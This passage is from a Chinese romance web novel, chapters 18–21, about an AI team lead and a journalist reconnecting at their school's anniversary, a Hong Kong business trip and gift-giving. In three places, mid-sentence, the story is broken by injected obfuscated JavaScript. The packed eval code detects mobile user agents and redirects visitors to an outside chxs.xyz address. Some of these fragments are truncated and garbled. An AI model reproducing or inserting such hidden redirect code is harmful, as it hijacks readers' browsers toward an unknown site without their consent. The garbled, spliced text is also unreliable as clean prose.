一言以蔽之,倒排工期,压茬推进。 此时,智达办公区,鸦雀无声,组员们分散在各自的工位上,埋头整理负责的板块内容。 江成川看了大家一眼,心里有些愧疚,但工作总要有人干,他轻轻关上办公室的门,也抓紧进入工作状态。 当然,对他来说,这次加班还好。 一来是和盛凯科技的合作事不宜迟,召集大家尽快讨论还能考虑得周全;二来是工作状态下时间过得快,他不用脑子里总盼着明天和汤冉冉见面的事。 办公室内,江成川正襟危坐,右手边是一杯美式,左手边是手机,中间是关于香港盛凯科技的资料。 他拿着笔,一页页逐行浏览,资料的页码数在增加,杯子里的美式越来越少。 忽然,左手边亮起屏幕光,江成川拿起来看—— “明天有个礼物送你。” 汤冉冉发来的。 18. 南中校庆 10月5号,天高云淡,秋天和夏天顺利交接。 南城中学校门前,大红色的条幅挂起,上面写着热烈庆祝建校75周年。 来参加校庆的人很多,有看起来刚毕业的年轻人,也有携家带口的中年人,还有头发花白的老年人。 江成川一个人立在那里,穿了件宽松款灰色开衫搭配牛仔裤,左手抱着一束鲜花,他在等人。 “嗨!”汤冉冉从后面轻拍了一下他的肩膀,说话的声音也很轻柔,“你来好早呀,等多久了?” 江成川转身,心脏漏跳了半拍。 蓝色针织衫配米杏色纱裙,汤冉冉打扮得格外青春,白亮的珍珠耳环点缀着柔顺的黑色长发,飘飘然像仙女下凡。 “哦没有,我也刚到。”江成川把鲜花在手里倒了一下,再开口时有点结巴,却很直白,“你今天……很漂亮……” “哈哈,谢谢,多夸,爱听。”汤冉冉抬头看着他的眼睛,又上下打量了一番,“你也是呢!” “啊?我也是?是什么?” 汤冉冉真要怀疑江成川是怎么当上组长的了,还是研究人工智能的组长。 “走了走了,我提着这个沉死了!”汤冉冉伸手扯了一下他的袖口,然后拎着稻香村的礼盒自顾自地往校门口走。 “哦不好意思,刚没注意到。”江成川快步跟上她,腾出一只手,“我来,我来提……” 在碰到礼盒的提手之前,江成川干燥的指腹先划过汤冉冉细嫩的手背,温暖而短暂。 突如其来的触感让汤冉冉往回缩了下手臂,脸颊上立马泛起一层淡淡的粉色,她转身停下,把礼盒递给江成川,支吾着说:“好好好,谢谢……” 然后,两个人沉默着并排走到校门口,各自向保安出示了校友卡,气氛有些微妙。 一进校门,迎面是一个巨大的ins风拍照打卡框,上面写着——南中,好久不见。 等待拍照打卡的人排了一长溜儿,上一个人刚拍完,还没放下剪刀手,下一个人就快速地跑过去凹造型、摆pose。 热热闹闹,让人感慨。 “那个……要去拍一张吗?”江成川见状随口一问。 汤冉冉顺着他的话音去看,寻思着要不也拍一张留个纪念,转身刚要开口,没忍住先“噗”的一声笑了出来。 江成川瘦瘦高高,怀里搂着一大捧鲜花,包裹花束的牛皮纸挡住了他大半张脸,右手拎着四四方方的礼盒,鲜亮的大红色,一整个人特别喜庆。 “嗯……算了。”汤冉冉想着先去拜访老师,然后轻装上阵,“要不等会有时间再来拍。” “好。” 毕业十一年,明理、笃信两栋教学楼还在,操场的塑胶跑道换新,食堂的窗口数量多了一半…… 别来无恙,是熟悉又陌生的校园。 江成川提前和高中班主任谢老师联系过了,谢老师会在办公室等他们,说今天有好几批学生都来看他。 “毕业之后,你有再回来过吗?”汤冉冉问。 “有,大概是五年前,我刚上研三。”江成川脚步慢了下来,回忆说,“当时有个回母校做宣讲的活动,谢老师问我有没有时间。” “五年前……”汤冉冉忽然想到什么,“那就是南中70周年校庆?” “对,谢老师说机会挺难得的,希望我能介绍介绍在京市的学习生活,所以我就答应了。” “哦……这样啊。” 汤冉冉有点气不打一处来,接着问:“那你还记得冯璇吧?其实那天我俩也约着来南中了,但是……” 拨回五年前的校庆日,几乎也是现在这个时间。 “走啦走啦——”冯璇揽着汤冉冉的肩膀往楼梯口带,嚷嚷着,“汤冉冉,你现在再听这些已经没用了,既回不到高中重新来过,也比不了讲台上的优秀毕业生,只会羡慕嫉妒恨。” “谁说的,我是这么没有格局的人吗?”汤冉冉挣脱开束缚,抻了抻衣领,“再说了大家都是校友,认识一下,说不定还能互帮互助。” “成,你去你去。”冯璇不理她了,背包一挎,“那我自己去小礼堂看学弟们的街舞秀,10点半可就开始了。” “哎——别别别嘛!”汤冉冉耳根子软,小碎步跟上,“宣讲多无聊,哪能有街舞秀好看,走着走着。” “所以你就真的和冯璇去看街舞了?”江成川不走了,站定看她,眼神里充满探究。 “……”汤冉冉冲他尴尬一笑,“这也不能怪我嘛,我又不知道是你在里面讲。” “所以……如果你知道是我,就会留下?” “啊这……”汤冉冉心想,或许当时不会,但现在会。 “你犹豫了?” “没有!”汤冉冉像犯了错的小孩,“和街舞秀相比,那肯定是你好看!就刚在校门口我还夸了你的!” “哦~那行吧。”江成川嘴角扯出一个勉强的微笑,但心里暗爽:她夸我好看。 走到谢老师的办公室,门开着,正有几个人从屋里出来,边走边回身摆手,应该也是来看谢老师的。 “不送你们了,常回来看看”。 一听是谢老师的声音,汤冉冉和江成川快走了几步,异口同声地喊道:“谢老师,我们来看你了。” “这是?成川,冉冉!”谢老师反应了一下,“快快快,进屋进屋!” “谢老师,送您的花和糕点。”汤冉冉接过江成川手里的花放到谢老师的办公桌上,江成川把礼盒放在办公室的饮水机旁边。 “下次来,不许带东西了哈,学校有规定的。”谢老师关了办公室门,又给他们接了两杯水放到小茶桌上,才坐回椅子上。 谢老师今年四十三岁,教物理,带他们的时候还不到三十岁,正好是江成川现在的年纪。 一晃这么多年,谢老师已经是南中的教务处主任,学校的中流砥柱。 “成川,你们这是?”谢老师抬了下眼镜,来回看他俩。 “哦,我和冉冉最近碰见了,这不就联系上了,约着今天来看您。” “我说呢,你一开始说要和同学一块来,我还没当回事,以为又是赵旭那几个小子。” “之前回南中,一直不好意思联系您,这次正巧和成川一起来了。”汤冉冉也跟着解释了一句。 “这有什么不好意思的,你们都是我的学生,以后常来。” “是是是。”江成川和汤冉冉步调一致地拿起纸杯抿了一口温水,端端正正坐在办公桌对面的黑色小沙发上,莫名有种见家长的局促感。 不多时,有人敲门,谢老师去开门,江成川和汤冉冉礼貌地站起来准备打招呼。 “谢老师好,谢老师好!” “谢老师好。” “谢老师,您又帅了!” “好好好,快进来!” 一时间,办公室里站了一屋子的人。 汤冉冉冲江成川使了个眼色,“谢老师,要不您接着叙旧,我和冉冉告辞去校园里转转。”江成川插了句话。 “也行也行,你们记着常来啊,不一定非赶校庆。”谢老师安置好新来的学生,又扭过头来招呼他俩。 “知道了,您回吧,甭送了。”他俩一边回身一边摆手,这画面似曾相识。 从办公室出来,江成川提议:“去吃披萨吧?” “这么早?”汤冉冉拿出手机看了眼时间,时针刚指向数字11。 又觉得哪里不对,江成川不是那种擅作主张的人,于是她接着问:“怎么想起来吃披萨了?” “还记得吗,咱们高二结束的时候,谢老师请全班去校门外那家披萨店聚餐。” 汤冉冉回忆了下,也提了个建议:“哦哦,那咱该叫着他一起啊!” “嗯……”江成川没料到这一出,赶紧编了个理由,“那个……谢老师他今天有人请了,我们可以下次,下次。” 走了没两步,他又接着找补道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925374|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“哎对,不是说要去校门口拍照吗,要不咱们现在过去吧?” “好啊。”汤冉冉还挺开心他记着这茬。 两个人走过去的时候,已经没有几个人在排队,只等了一小会。 “把包给我吗?你站过去。”江成川很绅士地问。 “不用,我拿着就行。”汤冉冉来到相框后面,两只手伸出食指戳自己的脸蛋,歪了下头冲着江成川笑。 “好了,来看看。”江成川用自己的手机拍的。 “你知道我为啥摆这个pose吗?” “嗯?” 汤冉冉不卖关子,说道:“今年是咱们毕业11周年,所以比了两个1,哈哈~” “原来如此……”江成川这次脑子转得快,接了句,“那明年咱还得来,后年也得来,年年都得来。” “怎么,你要当我的跟拍摄影师啊?” 江成川咳了一下,认真地看着她说:“也不是不行。” “那我还得好好考虑一下,照片回头发我。” “得嘞。” 两个人说笑着出了校门,往左手边一拐,走个一百来米就是那家披萨店,叫好亚米。 店面大小没变,只是换了个新招牌,外玻璃窗上贴着喜迎国庆的剪纸画。 “欢迎光临!”,推门进去,服务员笑脸相迎。 江成川去窗口点餐,汤冉冉去找位子坐。 “你好,我要一个经典双人套餐,再加一个黑森林蛋糕,就这些。” “好的,先生,一共是87元,您扫这里支付。” 等了大概几分钟的功夫,江成川端着托盘走过来,汤冉冉一下就看到了那块蛋糕,开心地指着问:“给我点的?” “对,不知道味道变没变,你尝尝。” 汤冉冉把蛋糕放到自己面前,用小叉子挑起上面的糖渍樱桃放到嘴里,轻轻一抿,眼睛也跟着眯了起来。 这一刻,江成川感觉回忆与现实重叠。 令他动容的是,回忆里的那次聚餐,他和汤冉冉隔着三张桌子远,自己只敢低着头悄悄瞄着看,而现在他和汤冉冉面对面,可以看清她好看的眉眼。 “怎么样?”江成川有些期待地问。 “嗯~还是我喜欢的味道。”汤冉冉笑着说。 “那就好。” “对了,说好有个礼物给你的。”汤冉冉从包里拿出那张从京市带回来的明信片,在他眼前晃了晃,然后郑重地放在桌面上。 江成川一愣,本来他还想问汤冉冉为什么会带着稻香村的礼盒来,现在仿佛有了答案。 “你去京市了?” “对,就前两天,随便逛逛,顺便补偿你当初寄丢的那张。” 江成川有些颤抖地拿过明信片看,确实和自己寄出的那一张太像了,正面是景山公园的全景照片,背面—— 背面是空白的,还没有写内容。 汤冉冉注意到他的视线,故作理直气壮地说:“我还没想好怎么写,而且我也不知道你原来写的什么……” “没关系,应该我来写的。”江成川声音很低,像是自言自语。 失而复得,命运已经对他足够好了。 这一刻,江成川决定赌一把,仿佛重新站在景山山顶那般,他内心澎拜。 “冉冉,其实我对你的感情,就像这块黑森林蛋糕。” “嗯?”汤冉冉其实早就明白了,但想听他说下去。 “上学时候喜欢的,现在仍然喜欢。” “那……你想知道蛋糕怎么想的吗?”汤冉冉也不说破。 “当然。” “我猜……它也知道受人喜欢,所以一直没变。” 江成川愣了下,看向汤冉冉的眼睛,里面映着自己有些仓惶的脸。 “你这么说,会让人多想。” “可以多想。”汤冉冉说。 这像是某种应允。 翻越时光,击中彼时少年的心。 19. 香港出差 从披萨店出来,刚过中午12点,太阳光耀眼。 “冉冉,送你回家?”江成川右手搭在额头上遮阳,左手拿着那张明信片,他没有背包。 “不用了,冯璇在附近商场的健身房当兼职教练,我去找她一趟。” “哦,那好。”江成川欲言又止。 “嗯?怎么了?” “谢谢。”江成川晃了下手里的明信片,“我说这个。” 汤冉冉看着他率真的样子笑了,感叹时间真神奇,从前不起眼的江胖儿现在已经变成了沉稳帅气的江组长,过往在他身上镀了一层闪闪的光。 这一刻,汤冉冉感到一种生命的馈赠,幸好她没有错过。 健身房的更衣室内,冯璇刚结束了一节课,大汗淋漓,准备换身干净衣服,汤冉冉坐在衣柜旁边的长条凳上等,来的路上买了瓶运动饮料。 “啥?你说啥?”冯璇从套头的打底衫里露出一双写满震惊的眼睛,“汤冉冉,你真是闷声儿干大事的人啊!” “怎么了我?还不全是您教导有方。” “别别别,我可没教你这么直给啊……不过也挺好,说开了挺好。”冯璇收拾利索了,叉着腰问,“那下一步你打算怎么办?” “等待。” “等待?” “对。”汤冉冉挺直腰背,摆出一副振振有词的样子,“作为那张明信片的当事人,我已经给出了回应,剩下的事该交给他来完成了,有来有往的才叫谈恋爱嘛。” “有来有往?行行行,还是你沉得住气,那我可要提前预定婚礼坐主桌了。” 汤冉冉冲她翻了个可爱的白眼,劝说道:“那你不如还是先准备份子钱吧。” “份子钱……”江成川一边念叨着,一边翻着家里的抽屉找红信封,他答应赵旭办婚礼的时候要包个大红包,怕一上班忙起来给忘了,就想趁着假期早准备好。 从书房到电视柜再到茶几,可能性递减,在确认家里没有红信封这类东西后,他坐到沙发上准备手机下单。 外卖小程序上显示有几家文具店有售,江成川逐一点进去看评价,发现买家秀的照片相差无几,接着他意识到这几家店很有可能是同一个上游供货商,索性就挑了个离家最近的门店下单,还能省点配送费。 关了小程序,江成川后仰完全靠在沙发上,看见朋友圈有个更新的红点,他没多想就点了进去,结果上面第一条就是汤冉冉刚发布的。 只有简单的一句:南中,好久不见。 配图是汤冉冉在南城中学校门口拍照打卡框的照片,江成川拍的那张。 江成川点开照片,正大光明地注视着照片上的汤冉冉,情不自禁地抿嘴笑了,然后他按了保存,尽管这张照片的原图就在自己的相册里。 念念不忘,被回应的甜,他终于是尝到了。 江成川思索了下,在这条朋友圈下面评论了一句:“摄影师求认领,请给五星好评。” 那一头,汤冉冉几乎是秒回:“六星~多的一星给黑森林蛋糕。” “到家了?”江成川直接发了条微信消息过去。 “还在公交上,今天很开心。”汤冉冉发了条语音,然后熄了屏幕望向窗外。 她坐在车厢后排,不自觉想起上次从老房子取走明信片回家时,也是坐的这路公交,但那时的她觉得自己像一个时光小偷,悄悄拿走了属于学生时代的汤冉冉的东西,但又无处安放。 可今天,她把一张崭新的明信片重新交回江成川的手上,仿佛物归原主。 时间不能从头来过,但选择可以重做。 手机震动了下,她点开,江成川也发来一条语音。 汤冉冉把手机凑到耳边,“我也是,很开心。”她连着听了两遍,声波经过耳廓鼓膜,仿佛有一种同频共振。 柔情蜜语的国庆假期后,江成川带队三组出差香港。 三个小时的航程,江成川先看了一会方案,吃过飞机餐后,现在在翻手机相册,相册名叫“r”,最新添加的照片是南中校庆时拍的几张。 周栋和江成川是相邻的两个座位,稍微一偏头就看到江组长一副不值钱的样子—— 他手指抵在唇角,似笑非笑,眼中脉脉含情。 周栋撇了下嘴问道:“哥,节后出差你还这么开心?你真牛!” “或许,这就是爱情的力量吧。”江成川冲他一挑眉。 “啥?我说你搁这乐呢!”周栋拿肩膀碰了他一下,压低了嗓音,“谁啊谁啊?是上回和咱一块去南城一小的汤记者吗?” 江成川扭头看他,点头默认了,然后手指放在嘴上比了个“嘘”,心想“难道这么明显吗?” “哎你这人,怎么还说一半藏一半呢,不讲武德。”周栋揶揄道。 江成川没理会,放下遮光板,收了手机,抱着手臂往后倚了倚,闭目养神。 其实对他来说,与其说是三缄其口,倒不如说是人尚在梦中游。那天回家之后,江成川把明信片放在书橱里的一个大牛皮纸袋里,纸袋里面有他各个求学阶段的毕业证和奖项证书,算是到今天为止的人生重要物件集纳。 这场从高中开始的暗恋,在它开始的地方重见天光。 “请您调直座椅靠背……收起小桌板及脚踏板……” 当客舱广播响起时,江成川缓缓睁开眼睛,用手揉了揉太阳穴,逐渐找回现在的状态。 又过了一段时间,飞机缓缓降落,香港到了。 他没告诉汤冉冉自己出差的事,或许是还没习惯报备,或许是觉得还差点什么。 航站楼的到达大厅里,客流稀少,大概是刚过了国庆假期的缘故,显得有些冷清。 江成川一行人和盛凯科技的工作人员顺利碰面,双方再次确认了行程,今天下午进行简单座谈,确定合作意向,明天以参观为主,上午去人工智能实验室,下午去工厂,后天中午返程。 商务车向东疾驰,一路上景观交错,盛凯科技的办公地点在中环附近的一栋写字楼里。 因为在飞机上已经吃过午饭也休息过,所以江成川提议等下午座谈结束后再去酒店入住,一切以效率优先。 盛凯科技的接待室,总经理廖总对他们的到来表示热烈欢迎,提前让秘书为他们准备了一些下午茶垫肚子。 “江组长,今日一见,可真是年轻有为。” “过奖了,廖总,您也是风华正茂、青云直上。”江成川也没有吝啬夸奖,廖总确实外形俊朗,一身西装笔挺,颇有精英风范。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925375|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >一番寒暄后,廖总请他们入座,坦言:“这些年,我们也感受到内地的飞速发展,以前我们谈合作模式基本是前店后厂,现在越来越奔着共建共享去。这次这个项目也是希望咱们发挥各自优势,合作共赢。” “确实,智达也希望能在科研技术上和贵公司多学习交流,互通有无,共同开拓人工智能的广阔市场。”江成川姿态谦逊,尽表诚意,“我们很重视这次合作的机会,郑总日后也会登门拜访。” 一个下午的时间,双方相谈甚欢,气氛热烈。 结束时已近晚上六点,廖总邀请他们一行人共进晚餐,江成川以不便多叨扰为由,表示把他们送到预订的酒店就很好了。 办理入住的时候,江成川交代周栋问问大家想吃什么统一点外卖,回去后报销餐费,又安排了一下明天参观需要重点关注的事项,他就先回房间了。 房间里,江成川和郑总通了个电话,汇报了座谈的情况和明日行程,郑总很放心,也嘱咐他们劳逸结合保证休息。 挂了电话,江成川走到窗前,暮色时分的香港光影绰绰,有点怀旧电影的味道。 他拿手机拍了几张,然后挑出最满意的一张连带着酒店的定位给汤冉冉发了过去,“来香港出差了,代购小江为您服务。” 汤冉冉节后忙到飞起,听到手机连着响了三声,还以为是宋舒催她回家吃饭,赶忙拿起一看,她愣住了—— 代购小江?快三十岁的人了,还自称小江?不对!重点是他在汇报行踪。 “在报社赶稿子的人表示十分羡慕。”汤冉冉先诉了句苦,然后灵机一动,补充道,“小江同志,要不你看看香港有没有好看的木雕刻刀,老汤喜欢这些玩意儿。” “遵命。”江成川一下子就明白了,这是在给自己提前透题如何讨好老丈人,接着他又安抚汤冉冉的情绪,“汤记者辛苦了,到家说一声儿,等回去请你吃大餐。” 聊天结束,江成川伸了个懒腰,又站着看了会窗外的风景,直到周栋过来给他送外卖的餐食。 第二天的参观进行得很顺利,下午4点多结束时,江成川还是婉言谢绝了吃饭邀请,他让周栋带大家出去下馆子,不用管他。 江成川回酒店短暂休息后,换了身休闲服,搭乘巴士去了铜锣湾时代广场,那里有一家录音笔专卖店。 虽然已经十月上旬,但香港的温度还停留在夏天,风里带着潮湿和燥热,江成川不由想起他开车去报社送录音笔的那天。 那天,他和汤冉冉重逢,天气似乎也是这么热,以至于他在报社楼下等待的时候,脑门出了一层薄汗,觉得是秋老虎的威力不减。 走进铜锣湾的一家商场,空调的冷气瞬间袭来,江成川打了个喷嚏,竟下意识觉得会不会是汤冉冉在想他。 商场五楼,录音笔专卖店里,他看了一圈也不懂怎么挑选,只好麻烦店员推荐几款适合日常使用,便携性和续航能力好的录音笔,又比对了一下这几款的外观,然后选定买单。 在香港的最后一天,上午没有工作安排,周栋领着大伙去购物,江成川去了几家文玩店和手工店,挑选了一套刻刀,包装纸上还有紫荆花的图案。 下午航班起飞前,他给汤冉冉发了条微信:“任务完成,归心似箭。” 20. 致谢语 两个人再次约上饭,已经是这周五下班后了。 江成川从智达开车到报社,轻车熟路地先去地库停车,然后坐电梯到一楼大厅茶座区等汤冉冉。 因为下午刚接待完省外的客户,他还没来得及换下西装,一身矜贵模样吸引了不少进进出出的过路人的目光,其中就包括刚从采访现场赶回来的乔小童。 27楼办公区,汤冉冉手里拿着化妆包从洗手间出来,迎面撞上行色匆匆的乔小童,吓了一跳说:“小童,你能不能稳重点?” “哎呀,小汤姐,我这不是着急和你分享帅哥嘛!”乔小童挽上汤冉冉的胳膊往工位走,声情并茂地描述,“你不知道就在咱单位楼下,我一进旋转门就看见了,有个男的穿得可板正了,只不过他一个人从那里低头看手机,非常的高冷禁欲。” “是吗?”汤冉冉对她的话感到怀疑,“那你怎么没有发挥你e人的本性去搭讪一下?” “别提……我看他手边放了两个粉色礼袋,感觉像是在等人。”乔小童叹了口气,“准确地说,像是已经名草有主。” “……早说。”汤冉冉抽出胳膊,看了眼时间快六点,“我得走了,不和你扯了。” “哎——说不定那个帅哥还没走呢,你留意一下!”乔小童望着汤冉冉的背影哀叹,“走吧走吧,留我孤家寡人一个。” 电梯下降的过程中,汤冉冉突然有种奇妙的预感,乔小童说的帅哥该不会是…… 一楼大厅,汤冉冉出了电梯,正要给江成川发个消息问他在哪。 “冉冉。”江成川喊她。 汤冉冉抬头找人,眼前的画面让她心旌摇荡—— 江成川穿着藏蓝色平驳领西装,搭配酒红色波点领带,额前的碎发撩起,整个人挺拔高挑,两个粉红色礼袋拎在他骨节分明的大手上显得格外小巧。 汤冉冉朝他走过去,开口第一句就是:“江组长,我们同事说刚才在楼下看见一个帅哥。” “哦?” “说这个帅哥穿了一身帅气西装,把头发梳成了大人模样。” 江成川看了一眼自己的打扮,笑着接话:“还有呢?” “说这个帅哥看起来像是在等人。” “对,等我的Mistress~” “……”汤冉冉撩人不成反被撩,耳垂瞬间红了,摆手催促着,“走吧走吧,我饿了……” “好,等我一下。”江成川去车库取车,把两个礼袋递给她,“这个是送给你和伯父的,先看看喜欢吗?” 汤冉冉接过来,然后坐在江成川刚才的位置上,打开两个礼袋看。 拎着重一些的礼袋里面装的是一个扁扁的长方体木盒,打开看是一套精致的木雕刻刀,木质刀柄圆润有光泽,刀头各不相同,汤冉冉拿起一把掂了掂,手感还不错。 接着,她又打开另一个礼袋,里面是一个手掌大的蝴蝶结礼品盒,盒盖上烫金字体印着“formylove”。 翻开盒盖,一支银灰色的录音笔卧在蓬松的浅黄色拉菲草里,汤冉冉刚要拿出来看,手机响了—— “出来吧,冉冉。” 于是,她盖上礼盒,整了整衣服,拎着两个礼袋往门口走。 车里,汤冉冉坐在副驾,闻着熟悉的橡木苔香,扭头问:“咱们去哪家餐厅?” “到了你就知道了。”江成川看了一眼外后视镜,方向盘一打汇入车流,自带一种冷静丝滑的掌控力。 正值周五下班高峰,车道上鸣笛声不断,江成川调大了车内音乐的声量,手指在方向盘上点着节拍。 “你不必怕寂寞。” “爱的情意,漫天过海会包围你……” 汤冉冉听了一会,问:“什么歌?” “《深秋的黎明》,黎明唱的。”江成川回答。 “哦,周栋之前说你是老干部风,看来也不是没有道理,你听的歌都非常——” “嗯?”江成川侧了下脸,想听她的评价。 “非常有年代感。” “嗯,你说得对,我总觉得老歌更传情达意一些。”江成川耐心解释,“但也有个别的原因。” “什么?” “可能我比较长情吧,不管是听歌,还是爱人什么的。” “……”汤冉冉心想,怎么之前没发现江成川这么……这么口无遮拦,她装作听不懂的样子扭头看车窗外。 又过了二十多分钟,江成川在一家名叫“爱在维港”的餐厅前停了车,指了一下店招牌和汤冉冉说:“订好位子了,你直接进,我去停车。” 汤冉冉应了一声,推门下车,眼前的餐厅门脸大气、装修复古,她之前路过的时候就注意到了,一直想找机会来试一下。 一进店里,服务生问过预约情况后,走在前面领着她到了靠近窗户的一张餐桌前,餐桌提前布置过,摆放着一束娇艳欲滴的红玫瑰。 “女士,您请。”服务生奉上菜单,同时拿走了留座牌。 餐厅里的粤语歌音律动人,汤冉冉一边翻菜单,一边等江成川来。 “还喜欢吗?”声音从汤冉冉身后响起,江成川款款而来,手里还拿着一份透明文件夹。 “很喜欢,咱们现在点菜吧?” “好。”江成川没看菜单,说了一句“听你的。” 于是,汤冉冉也不客气—— 猪扒包,滑蛋叉烧饭,菠萝油,咖喱鱼蛋,蛋挞,一杯柠檬红茶,一杯丝袜奶茶。 餐品很快上齐,汤冉冉先拿手机拍了一张,然后把两只蛋挞分给江成川一个,另一个放在自己的碟里。 汤冉冉拿起咬了一口,蛋挞芯还是微微烫的,嘴角上沾了酥皮,她用舌尖舔了一下,是恰到好处的甜。 “前几天去香港出差,听当地人推荐这家店比较正宗,所以就想着回来和你一起来尝尝怎么样。”江成川也拿起蛋挞咬了一口,“现在看还不错。” 汤冉冉点头表示同意,问道:“那你们和对方企业谈的怎么样?” “问题不大,只剩一些细节需要敲定,过段时间我们大领导也会去一趟,比我们预想中顺利。” “嘿嘿,那就好。”汤冉冉也很开心,“你们加油,江组长!到时候我报个选题,说不定还能写一篇内地企业和港企联手发展的稿子。” “借你吉言,汤记者。” “哎,你还有工作要处理吗?”汤冉冉视线落到桌子角上的文件,江成川进来时拿在手里的那份。 “哦对,差点忘了。”江成川拿起文件递给她,“是九月底咱们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932194|160471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去南崖一小的调研报告,前阵子忙,这几天刚梳理出来给领导看过,给你带了一份。” 汤冉冉不明所以,放下筷子,接了过来。 “惊喜在后面。”江成川提示她。 “惊喜?”汤冉冉加快了翻页的速度,直到看到这样一段文字—— 今年初,智达决定向南崖一小捐助第一批教学产品,彼时我们有期待有忧虑,盼望给孩子们真正带来学习条件的改变。转眼已是秋天,又迎来一个崭新的学期,我们再次来到南崖一小,希望听听他们真实的声音。在调研过程中,智达的同事们通力合作,共同进步,与南崖一小的师生友好交流,共同商讨第二批教学产品的捐赠计划。 此外,还要郑重感谢南城日报记者汤冉冉,汤记者用心用情深入采访,报道文字真挚动人,让我们看到人工智能和乡村教育的另一种可能。 一字一句,越读到后面,汤冉冉头埋得越低,眼眶愈加发烫,“吧嗒”一声,一颗圆滚滚的泪珠砸在纸面上,把“致谢”两个字晕开了。 江成川见状也有点慌神,连忙抽了张纸巾隔着座位给她擦眼泪,轻轻安慰:“我错了,冉冉,应该等吃饱饭再拿给你看的,不哭了不哭了……“ 汤冉冉抬手攥住纸巾,又进一步握住江成川拿着纸巾的手,抽噎着说:“我哪有你们写的这么好……” “好好好,下次把你写坏点。”江成川看了一眼邻座的几桌,“不哭了,好不好?冉冉,别人该以为你这是被菜难吃哭了……” “什么嘛!”汤冉冉还哭着,被他这一句逗得笑了出来,“我是被感动的好不好。” “好,我们冉冉人美心善,来,再擦擦。”江成川又抽了张纸巾递过去。 等到汤冉冉心情平复下来,重新拿起筷子夹了一颗咖喱鱼蛋,江成川才松了口气,心想以后感人的戏码少安排,差点弄巧成拙。 吃过饭后,江成川送汤冉冉回家,一路上绿灯畅行,车里换了首陈奕迅的《幸福摩天轮》。 汤冉冉降了一小节车窗,凉爽的秋风灌了进来,吹着她的发丝拂动,又像在挠痒痒。 “晚上凉。”江成川转头叮嘱了一声,降低了车速。 “可心里热,心里开心。”汤冉冉倔犟地回他,但还是把车窗关上了,然后侧了身倚着靠背,眼睛直勾勾地盯着江成川看。 “怎么了?我脸上有东西?” “没有,想看。” “好。”江成川沉声笑了一下。 “江成川。” “嗯?有何指示。” “以后不许这样,我泪点低。”汤冉冉说得认真。 “好,我错了,下不为例。” 汤冉冉家楼下,车子停稳后,她松了安全带,左手拎着礼袋,右手推门下车。 转身关上车门,她摆手和江成川说再见,让他回去开车小心。 夜色下,皎皎月光笼罩着江成川英俊的脸庞,他眼神温柔,说了声“晚安,好好休息。” 可他没走,直到汤冉冉那层的楼道灯亮起又暗下,才重新发动车子,拐出小区。 回去的路上,江成川的脑子里还是两人分别的画面,忽然,他想到汤冉冉拎着的礼袋,礼袋里装着的那支录音笔。 他心想,糟了。 21. 搞浪漫 刻板印象里,理科生是不擅长搞浪漫的,可江成川偏偏是个例外。 远的不说,就说他从香港买回来的那支录音笔便是一个佐证。 江成川嫌录音笔原本带着品牌logo的包装盒太土气,加上放在行李箱里托运被压得变了形,索性就拆了包装,但光秃秃的看着也不像那么回事,于是他又走着去了之前买红信封的文具店,现场挑选了一个礼物盒,礼物盒里面附带着拉菲草,店家说能起到一定的缓冲保护作用。 显然,他觉得这还不够。 在和汤冉冉约饭的那天中午,江成川再次打开礼盒,若有所思地端详着这支录音笔,觉得该提前录点什么进去。 于是,他打开电脑开始写词儿,写好后又打出来,然后拿着这页纸对着办公室的盆栽绿植反复朗诵,直到觉得情绪到位了才开始正式录音。 这段词儿是这么写的—— 冉冉,你好,我是江成川,你应该能一下子就分辨出我的声音吧。 现在是10月13号的中午,不知道你将在什么时间听到这段录音,但都没关系,我接下来说的话对你永远有效。 冉冉,你知道吗,你是一个特别美好的女孩子,从上学时的初次相见到工作后的再次相逢,我很感谢命运让我能再次遇到你,让我能有机会对你表达深藏在心底的喜欢。 前几天在香港出差的晚上,我打开酒店房间里的电视机,用遥控器切台的时候发现其中一个频道正在重放周星驰版的《大话西游》,当再听到那句爱你一万年的台词时,突然有种立马出现在你身边的冲动,一万年太久,想和你只争朝夕。 最后,希望这支录音笔能带给你源源不断的写作动力,在我心里,你是最优秀的汤记者。 “……你是最优秀的汤记者。” 听到这里,汤冉冉关了录音笔,踩着拖鞋去梳妆台抽张纸擦眼泪。 周五晚上,汤冉冉拎着礼袋回家后,照例先去宋舒和汤东民的卧室道了声晚安,然后回了自己的房间。 卸妆洗漱,换好睡衣,她一看时间还早,决定研究研究江成川送的录音笔怎么用,今天下午乍一看感觉比她现在用的那支要高级一些。 于是,汤冉冉从礼物盒里拿出录音笔,又从一团团的拉菲草里扒拉出埋在下面的使用说明书,打开小台灯,倚在床头上,腿上盖了个小薄毯,开始摆弄手里的录音笔。 常规方法开机后,电量显示是满格的,她发现已经有一条录音文件了,猜测是不是试机时无意留下的,但一看录音的日期和时长又不像,所以有点好奇地点了播放。 